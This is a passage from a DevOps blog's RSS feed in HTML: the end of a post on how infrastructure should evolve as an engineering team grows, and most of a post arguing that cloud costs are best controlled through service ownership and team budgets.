        <a href="#h3-step-5-plan-your-evolution" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: Plan Your Evolution
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-step-5-plan-your-evolution"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Don&#39;t optimize for year 3 on day 1. Plan to evolve:</p>
<p><strong>Today (5-15 engineers):</strong></p>
<ul>
<li>Manual provisioning or simple scripts</li>
<li>Production-only or Production+Staging</li>
<li>Managed platforms</li>
</ul>
<p><strong>Next 12 months (15-30 engineers):</strong></p>
<ul>
<li>Terraform for infrastructure</li>
<li>Ephemeral PR environments + Production</li>
<li>Still on managed platforms or considering VMs</li>
</ul>
<p><strong>Next 24 months (30-60 engineers):</strong></p>
<ul>
<li>Terraform + self-service patterns</li>
<li>Ephemeral + Production (maybe Staging for critical paths)</li>
<li>Evaluating Kubernetes (but probably don&#39;t need it yet)</li>
</ul>
<p><strong>Next 36+ months (60+ engineers):</strong></p>
<ul>
<li>Internal platform (if justified)</li>
<li>Kubernetes (if multi-region or complex requirements)</li>
<li>Dedicated platform team (2-5 engineers)</li>
</ul>
<hr>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>1. Three decisions determine velocity</strong>: Provisioning model, environment strategy, deployment surface. Everything else is secondary.</p>
<p><strong>2. Manual provisioning costs $24K/month</strong> more than Terraform at typical growth-stage scale. Automate infrastructure as code by 10 engineers.</p>
<p><strong>3. Each approval gate costs 15-45 minutes</strong> per deployment. At 40 deploys/day, that&#39;s $4,000+/month in pure waiting time.</p>
<p><strong>4. Managed platforms are fastest</strong> for 90% of applications. Don&#39;t adopt Kubernetes before 50 engineers unless you have specific requirements.</p>
<p><strong>5. Ephemeral PR environments</strong> provide the best balance of safety and speed for modern development workflows.</p>
<p><strong>6. Complexity costs 10-20% engineer capacity</strong> per infrastructure layer. A team on Kubernetes + multi-cloud + 5 environments might spend 40%+ of time on infrastructure maintenance.</p>
<p><strong>7. Optimize for iteration speed</strong> over theoretical scalability. You can migrate to more complex infrastructure later. You can&#39;t reclaim engineering time spent maintaining unnecessary complexity.</p>
<hr>
<h2 id="h2-the-bottom-line" class="group relative scroll-mt-24">
        <a href="#h2-the-bottom-line" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bottom Line
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bottom-line"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The best infrastructure for your team is <strong>the simplest one that meets your actual requirements.</strong></p>
<p>Not the infrastructure your competitors use. Not the infrastructure in conference talks. Not the infrastructure that sounds impressive in blog posts.</p>
<p>The infrastructure that lets your team ship features quickly, safely, and without operational burden.</p>
<p>Most teams should:</p>
<ul>
<li><strong>Use Terraform</strong> for infrastructure provisioning (Level 3)</li>
<li><strong>Adopt ephemeral PR environments + production</strong> (unless regulated)</li>
<li><strong>Deploy to managed platforms</strong> (until 30+ engineers)</li>
</ul>
<p>This combination provides:</p>
<ul>
<li><strong>~15 minute</strong> time from merge to production</li>
<li><strong>&lt;10% engineer capacity</strong> spent on infrastructure</li>
<li><strong>Minimal operational complexity</strong></li>
<li><strong>Easy onboarding</strong> for new team members</li>
</ul>
<p>Everything else is optimization. Start simple, evolve as needed, and always measure the velocity tax of complexity before adopting it.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Your Cloud Bill Is an Organizational Problem, Not a Technical One]]></title>
      <link>https://devops-daily.com/posts/cloud-bill-organizational-problem</link>
      <description><![CDATA[Why your AWS bill keeps growing despite cost optimization efforts. The real driver is team structure, not instance size. A framework for tying cloud spend to service ownership and engineering accountability.]]></description>
      <pubDate>Fri, 06 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/cloud-bill-organizational-problem</guid>
      <category><![CDATA[Cloud]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Cloud Cost]]></category><category><![CDATA[FinOps]]></category><category><![CDATA[Engineering Culture]]></category><category><![CDATA[Team Structure]]></category><category><![CDATA[AWS]]></category><category><![CDATA[Cost Optimization]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Most cloud cost optimization focuses on technical fixes: rightsizing instances, buying reserved capacity, cleaning up unused resources. These deliver 10-20% savings initially, then plateau. The real cost driver is organizational: unclear service ownership, no accountability for spend, and infrastructure treated as a shared resource pool instead of tied to product teams. Companies that tie cloud costs directly to service owners see 30-50% sustained cost reduction—not through better instance selection, but through different decision-making incentives.</p>
<hr>
<h2 id="h2-the-problem-your-cloud-bill-keeps-growing" class="group relative scroll-mt-24">
        <a href="#h2-the-problem-your-cloud-bill-keeps-growing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Problem: Your Cloud Bill Keeps Growing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-problem-your-cloud-bill-keeps-growing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A common pattern at growing engineering organizations:</p>
<p><strong>Year 1 (30 engineers)</strong>: AWS bill is $50K/month. Acceptable for your stage.</p>
<p><strong>Year 2 (60 engineers)</strong>: AWS bill is $180K/month. Engineering headcount doubled, but cloud spend 3.6×&#39;d.</p>
<p><strong>Cost optimization response:</strong></p>
<ul>
<li>Buy reserved instances (10% savings)</li>
<li>Rightsize EC2 instances (8% savings)</li>
<li>Clean up unused EBS volumes (3% savings)</li>
<li>Switch staging to smaller instances (2% savings)</li>
</ul>
<p><strong>Result</strong>: Bill drops to $140K/month. Success!</p>
<p><strong>Year 3 (100 engineers)</strong>: AWS bill is $320K/month despite previous &quot;optimization.&quot;</p>
<p><strong>What happened?</strong></p>
<p>The technical fixes addressed symptoms, not root cause. The real problem:</p>
<ul>
<li><strong>No one owns the cost</strong> of individual services</li>
<li>Engineers spin up resources <strong>without understanding financial impact</strong></li>
<li>Infrastructure is treated as <strong>&quot;free&quot; internal resource</strong></li>
<li><strong>No feedback loop</strong> between infrastructure decisions and budget</li>
</ul>
<p>Technical optimization is a one-time gain. Organizational structure is the ongoing driver.</p>
<h2 id="h2-why-technical-fixes-plateau" class="group relative scroll-mt-24">
        <a href="#h2-why-technical-fixes-plateau" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why Technical Fixes Plateau
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-technical-fixes-plateau"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-common-technical-cost-optimization-tactics" class="group relative scroll-mt-24">
        <a href="#h3-common-technical-cost-optimization-tactics" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Technical Cost Optimization Tactics
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-common-technical-cost-optimization-tactics"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>These all work—initially:</p>
<p><strong>1. Rightsizing instances</strong> (5-15% savings)</p>
<ul>
<li>Identify over-provisioned EC2/RDS instances</li>
<li>Downsize based on actual utilization</li>
<li>Savings erode as new services launch at default sizes</li>
</ul>
<p><strong>2. Reserved capacity</strong> (20-40% discount on committed spend)</p>
<ul>
<li>Buy 1-year or 3-year reservations</li>
<li>Savings only apply to stable, predictable workloads</li>
<li>Doesn&#39;t prevent wasteful new resource creation</li>
</ul>
<p><strong>3. Spot instances</strong> (50-90% discount on interruptible compute)</p>
<ul>
<li>Great for batch processing, CI/CD runners</li>
<li>Doesn&#39;t address always-on services (most of your bill)</li>
</ul>
<p><strong>4. Resource cleanup</strong> (5-10% savings)</p>
<ul>
<li>Delete unused EBS volumes, old snapshots, abandoned databases</li>
<li>One-time gain, creeps back without ongoing process</li>
</ul>
<p><strong>5. Auto-scaling</strong> (10-20% savings on variable workloads)</p>
<ul>
<li>Scale down during off-peak hours</li>
<li>Only helps if load actually varies (many services have flat baseline)</li>
</ul>
<h3 id="h3-why-these-dont-scale" class="group relative scroll-mt-24">
        <a href="#h3-why-these-dont-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why These Don't Scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-these-dont-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Problem 1: One-time gains</strong><br>You optimize once, save 20%. Six months later, new services launched by teams unaware of optimization practices bring spend back up.</p>
<p><strong>Problem 2: No behavioral change</strong><br>Engineers still spin up m5.2xlarge instances by default because &quot;it&#39;s fast.&quot; No one asks &quot;do we need this size?&quot;</p>
<p><strong>Problem 3: Reactive, not proactive</strong><br>You clean up waste after it&#39;s created. The cycle repeats: create → waste → cleanup → repeat.</p>
<p><strong>Problem 4: Centralized bottleneck</strong><br>A central FinOps team or platform team tries to optimize across the org. They lack context on what&#39;s critical vs wasteful. Service teams get frustrated by &quot;interference.&quot;</p>
<p><strong>The fundamental issue</strong>: Engineers make infrastructure decisions without feeling the cost impact.</p>
<hr>
<h2 id="h2-the-real-cost-driver-team-structure" class="group relative scroll-mt-24">
        <a href="#h2-the-real-cost-driver-team-structure" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Real Cost Driver: Team Structure
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-real-cost-driver-team-structure"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Cloud spend grows with organizational complexity, not just headcount.</p>
<h3 id="h3-how-team-structure-drives-waste" class="group relative scroll-mt-24">
        <a href="#h3-how-team-structure-drives-waste" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How Team Structure Drives Waste
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-team-structure-drives-waste"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Centralized infrastructure model</strong> (common at 30-100 engineers):</p>
<ul>
<li>Platform/DevOps team manages all infrastructure</li>
<li>Product teams request resources via tickets or Slack</li>
<li>Product teams don&#39;t see cost of their requests</li>
<li>Platform team approves requests but lacks product context</li>
</ul>
<p><strong>Result</strong>: Over-provisioning by default to avoid future requests. &quot;Better to have headroom.&quot;</p>
<p><strong>Example waste pattern:</strong></p>
<p>Product Team requests a database for a new recommendation service.</p>
<p>The Platform Team, not knowing the expected traffic and wanting to avoid being a bottleneck, provisions a db.r5.xlarge ($300/month) when the actual need was db.t3.medium ($60/month). This creates $240/month in waste for just this one service. Multiply this by 30 services and you get $7,200/month in waste purely from misaligned incentives.</p>
<h3 id="h3-the-accountability-gap" class="group relative scroll-mt-24">
        <a href="#h3-the-accountability-gap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Accountability Gap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-accountability-gap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When infrastructure is centralized:</p>
<ul>
<li><strong>Product teams</strong> don&#39;t know what their services cost</li>
<li><strong>Platform teams</strong> don&#39;t know which services are revenue-critical</li>
<li><strong>Leadership</strong> sees total bill but can&#39;t attribute spend to product areas</li>
<li><strong>No one</strong> feels accountable for cost of individual decisions</li>
</ul>
<p><strong>What happens:</strong></p>
<ul>
<li>&quot;We need staging to be production-parity&quot; → 2× infrastructure cost</li>
<li>&quot;Let&#39;s add a replica for safety&quot; → +100% database cost</li>
<li>&quot;Spin up a new cluster for this experiment&quot; → experiment fails, cluster forgotten</li>
<li>&quot;Use large instances to avoid performance issues&quot; → 3× compute cost</li>
</ul>
<p>Each decision is rational in isolation. The aggregate is runaway cost.</p>
<hr>
<h2 id="h2-the-organizational-solution-service-ownership" class="group relative scroll-mt-24">
        <a href="#h2-the-organizational-solution-service-ownership" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Organizational Solution: Service Ownership
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-organizational-solution-service-ownership"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><strong>Core principle</strong>: Tie infrastructure cost directly to service owners.</p>
<h3 id="h3-what-this-means" class="group relative scroll-mt-24">
        <a href="#h3-what-this-means" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What This Means
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-this-means"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Service ownership model:</strong></p>
<ul>
<li>Each service has a clear owning team</li>
<li>Owning team is <strong>responsible</strong> for the service&#39;s infrastructure</li>
<li>Owning team <strong>sees</strong> the cost of their service</li>
<li>Owning team <strong>makes</strong> infrastructure decisions (within guardrails)</li>
<li>Owning team&#39;s <strong>budget</strong> reflects their infrastructure spend</li>
</ul>
<p><strong>Key shift</strong>: Infrastructure becomes a <strong>team expense</strong>, not a <strong>shared pool</strong>.</p>
<h3 id="h3-how-to-implement-service-ownership" class="group relative scroll-mt-24">
        <a href="#h3-how-to-implement-service-ownership" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Implement Service Ownership
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-implement-service-ownership"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Step 1: Map services to teams</strong></p>
<p>Create a service catalog with infrastructure and cost per service. For example, the recommendation-api owned by the Discovery Team might include ECS tasks, RDS PostgreSQL, ElastiCache Redis, and S3 buckets, costing $1,200/month.</p>
<p>Every AWS resource should map to a service. Every service should map to a team.</p>
<p><strong>Step 2: Make cost visible</strong></p>
<p>Show teams their monthly spend:</p>
<ul>
<li>Dashboard showing per-service cost trends</li>
<li>Monthly email to service owners with cost breakdown</li>
<li>Include cost in team metrics alongside deployment frequency, error rate</li>
</ul>
<p><strong>Step 3: Give teams infrastructure control</strong></p>
<p>Within guardrails, let teams make their own infrastructure decisions:</p>
<ul>
<li>Self-service provisioning via Terraform/IDP</li>
<li>Teams choose instance types, scaling policies</li>
<li>Platform team provides templates, not mandates</li>
</ul>
<p><strong>Guardrails</strong> (enforced by policy-as-code):</p>
<ul>
<li>Must use approved instance families (no GPU instances without approval)</li>
<li>Must tag all resources with service + team</li>
<li>Must enable cost allocation tags</li>
<li>Auto-shutdown for non-production after hours</li>
</ul>
<p><strong>Step 4: Tie cost to team budgets</strong></p>
<p>Each team has an <strong>infrastructure budget</strong> based on their services (e.g., Discovery Team: $5K/month, Checkout Team: $12K/month, Analytics Team: $8K/month).</p>
<p><strong>Budget review process:</strong></p>
<ul>
<li>Quarterly: Adjust baselines for product growth</li>
<li>Monthly: Review actuals vs budget</li>
<li>Over-budget triggers conversation (not punishment)</li>
<li>Under-budget creates headroom for experiments</li>
</ul>
<p><strong>Key</strong>: Budget is <strong>transparent</strong>, not punitive. Goal is awareness, not blame.</p>
<hr>
<h2 id="h2-what-changes-when-teams-own-their-costs" class="group relative scroll-mt-24">
        <a href="#h2-what-changes-when-teams-own-their-costs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What Changes When Teams Own Their Costs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-changes-when-teams-own-their-costs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-behavioral-shifts" class="group relative scroll-mt-24">
        <a href="#h3-behavioral-shifts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Behavioral Shifts
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-behavioral-shifts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Before service ownership:</strong></p>
<p>An engineer suggests using m5.4xlarge for a new API. No one asks about cost. The instance runs for 2 years at $500/month = $12,000 total.</p>
<p><strong>After service ownership:</strong></p>
<p>An engineer suggests using m5.4xlarge for a new API. The tech lead notes that&#39;s $500/month for expected traffic of just 10 req/sec. They start with t3.large ($60/month) instead and scale if needed. Cost over 2 years: $1,440. Savings: $10,560 from one conversation.</p>
<p><strong>The difference</strong>: Cost is visible <strong>before</strong> the decision, not discovered months later in a FinOps report.</p>
<h3 id="h3-real-world-cost-patterns" class="group relative scroll-mt-24">
        <a href="#h3-real-world-cost-patterns" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-World Cost Patterns
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-real-world-cost-patterns"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Pattern 1: Rightsizing through awareness</strong></p>
<p>When teams see their costs:</p>
<ul>
<li>&quot;Our staging database costs $300/month but gets 5% utilization. Let&#39;s downsize to $60.&quot;</li>
<li>&quot;This worker service runs 24/7 but only processes jobs during business hours. Let&#39;s scale to zero nights.&quot;</li>
<li>&quot;We have 3 Redis clusters doing the same thing. Let&#39;s consolidate.&quot;</li>
</ul>
<p><strong>Savings</strong>: 20-30% without central enforcement.</p>
<p><strong>Pattern 2: Environment rationalization</strong></p>
<p>When teams see environment costs:</p>
<ul>
<li>&quot;Staging costs 80% of production but we barely use it. Let&#39;s use ephemeral PR environments instead.&quot;</li>
<li>&quot;This sandbox environment has been idle for 3 months. Let&#39;s shut it down.&quot;</li>
</ul>
<p><strong>Savings</strong>: 15-25% by killing unused environments.</p>
<p><strong>Pattern 3: Architectural reconsideration</strong></p>
<p>When cost is visible during planning:</p>
<ul>
<li>&quot;The microservices approach needs 8 new services = $4K/month. Can we do this as modules in existing services?&quot;</li>
<li>&quot;Self-hosting this queue costs $800/month in maintenance time. SQS would be $50/month.&quot;</li>
</ul>
<p><strong>Savings</strong>: 30-40% by choosing simpler architectures.</p>
<hr>
<h2 id="h2-implementation-roadmap" class="group relative scroll-mt-24">
        <a href="#h2-implementation-roadmap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Implementation Roadmap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-implementation-roadmap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
